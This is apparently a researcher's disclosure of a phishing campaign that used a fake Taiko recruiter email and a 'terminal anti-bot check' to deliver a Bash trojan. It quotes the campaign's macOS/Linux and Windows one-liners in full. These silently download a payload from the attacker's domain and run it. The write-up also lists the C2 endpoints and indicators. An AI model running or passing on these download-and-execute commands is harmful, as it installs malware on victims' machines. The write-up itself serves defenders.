Four days after I reported it to AWS, the trojan is still being served.
On October 5, 2026 I received a recruiting email that looked like every other recruiter email — except it ended with a step no legitimate hiring process has ever asked me for: opening my terminal and pasting a command to "verify I'm not a bot."
This is the write-up of the campaign, because the payload is still live as of today (October 9), and because the social-engineering pattern — a job application that ends in Terminal — is the part your coworkers, your juniors and your family will fall for.
The lure
The email claimed to be from "Joseph Quintana, Talent" at Taiko — the Ethereum rollup company — offering a Software Engineer role on based-rollup / ZK proving / L2 systems. It referenced my GitHub profile, it was polite, specific and short. The sending address was josephquintana@hr.taikotalent.xyz.
Two details matter here:
- Taiko's real domain is
taiko.xyzand their real recruiting runs throughcareers@taiko.xyz. There is no reference totaikotalent.xyzanywhere on the real site. -
taikotalent.xyzwas registered eight days before the email arrived (2026-09-27, per RDAP).
The email was sent through Resend and relayed through Amazon SES in sa-east-1 (sending IP 23.249.215.58, d215-58.smtp-out.sa-east-1.amazonses.com). SPF passed. DKIM passed — twice (Resend's signature and amazonses.com's). This is the part defenders need to internalize: authentication passes only prove the sender controls an 8-day-old domain. They say nothing about intent. If your mail filter scores "SPF/DKIM pass" as "safe," this campaign sails through it.
The target profile: people with public GitHub profiles. The email opens with "I came across your GitHub profile" — the campaign is harvesting open-source developers specifically.
The portal
The link goes to a "Private invitation" single-page app gated by per-recipient Ref- codes. Every step of the form posts to /track-activity, which exfiltrates a deviceInfo fingerprint — browser, screen, timezone — on every interaction. The form collects full name, email and GitHub username.
Then comes the page this whole campaign was built for: "Anti-bot check with Terminal."
It instructs you to paste one of these into your own terminal:
# macOS / Linux (trimmed) bash -c 'perl -MPOSIX -e"fork&&exit;POSIX::setsid;fork&&exit;exec@ARGV" bash -c "curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m" &>/dev/null& ...' :: Windows (trimmed) start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd' Every component of that command is a red flag wearing a trench coat:
-
perl -MPOSIX ... fork&&exit— a double-fork daemonization: the process detaches from your terminal and survives it closing -
curl -ks— the-kdisables TLS certificate verification -
&>/dev/null&— silences all output so nothing appears on screen -
start -WindowStyle Hidden(Windows) — runs the downloader in a hidden window
A job application does not need your terminal. A job application has never needed your terminal. That single sentence is the whole defense, and it's the one to repeat to your team.
The payload
I downloaded verify_m for analysis and never executed it — the methodology throughout was non-destructive: fetch, hash, read. It's a 49,916-byte Bash stager that calls itself deepfake_guard:
- Re-launches itself detached via
nohup - Reports "install success" to a command-and-control endpoint:
https://api.gaganata.ink/guard-launcher-result, with a fallback athttps://api.fallgganata.ink - Decodes an embedded base64 second stage to
/var/tmp/.kdm.XXXXXXand executes it with the C2 endpoints exported as environment variables - Deletes itself: launcher, status file and the
/var/tmpartifacts — an anti-forensics loop that retries 60 times
The second stage is where the actual payload lives; the stager is just the delivery van, and it burns the van after delivery.
Status today: still live
I re-checked the infrastructure on October 9, 2026:
| Component | Status |
|---|---|
https://taikotalent.xyz/ (portal) | Times out |
https://taikotalent.xyz/verify_m (trojan) | HTTP 200 — serving, 49,916 bytes |
api.gaganata.ink / api.fallgganata.ink (C2) | 404 (Cloudflare-fronted) |
hr.taikotalent.xyz | No DNS record anymore |
The payload being served today is byte-identical to the one I quarantined on October 5 — SHA-256 c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d. The campaign infrastructure is rotting but the weapon is still on the table.
What was done about it
- October 5: full report to AWS Trust & Safety (case
P01M4696RCMDN90PYQGW7NJHGT0/179121234700301), toabuse@resend.com(the sending platform), and tocareers@taiko.xyz— the impersonated company — recommending a public warning from their side. - October 6: 17-page forensic report generated (IoCs, full headers, timeline, SHA-256 of the 10 evidence artifacts):
d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c. - October 7: AWS Trust & Safety responded that SES abuse cases go to
email-abuse@amazon.com— resubmitted there with the live-payload status. - Today: this disclosure.
The complete IoC set, hashes and attack chain are published here:
Full IoC list and evidence — public gist
The gist contains every indicator: domains, sending IP, the Ref-code format, payload URLs, both C2 endpoints, the /var/tmp/.kdm.* second-stage path, and the SHA-256 hashes of the payload and the full evidence chain.
How to check if you (or your people) were hit
- Received anything from
*@hr.taikotalent.xyzor about an "Engineering opening — Taiko"? Check mail logs — it went through Resend + Amazon SES. - Ran the "anti-bot check"? Look for:
verify_m/verify_w/v.cmdfiles,/var/tmp/.kdm.*remnants (the self-delete loop makes absence of evidence weaker), processes detached via a perl double-fork, and egress to*.gaganata.ink/*.fallgganata.ink. - Block the IoC domains at your resolver / egress now — the list is in the gist.
- Credential rotation for anything that shared the machine: GitHub PAT, cloud keys, browser sessions. If the second stage is a credential stealer (unverified — I did not detonate), assume exposure.
The takeaway worth repeating
The technical chain here is unremarkable — domain, mail relay, SPA, curl-and-exec. What makes it work is the context: a job offer, aimed at developers, during a period when many of us actually are getting recruiter email about ZK and rollup work.
The rule to broadcast is one sentence long:
A legitimate job application will never ask you to open your terminal.
Analysis and disclosure by Edison Flores (AliceLabs). All evidence handled non-destructively — the payload was downloaded for hashing only and never executed. The full forensic report (17 pages, SHA-256 d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c) is available to defenders, registries and journalists on request. If you're from a mail platform, registry or threat-intel team, the gist has everything you need.
Update — 2026-10-09: mirrors & infrastructure findings
The payload is still being served as I publish this update (00:46 UTC: HTTP 200, 49,916 bytes, SHA-256 unchanged — day 4 after the AWS abuse report).
Full disclosure is now mirrored in more places, including a proper IoC repository with a YARA rule and MITRE ATT&CK mapping:
- IoC repo: github.com/eddyflores100-lang/taikotalent-phishing-iocs
- GitLab mirror: gitlab.com/-/snippets/6066323
- Telegraph article: telegra.ph/Fake-Taiko-recruiter-trojan…
- IoC gist: gist.github.com/eddyflores100-lang/198d8a13…
Infrastructure findings from RDAP/DNS: both taikotalent.xyz and the C2 domain gaganata.ink were registered through NameCheap; the payload is served from Shock Hosting (193.160.32.10); the C2 sits behind Cloudflare. Abuse reports have been filed with all three providers, plus APWG (blocklist intake).
Reminder — the one-line defense: a legitimate recruiter will never ask you to paste a command into your terminal.
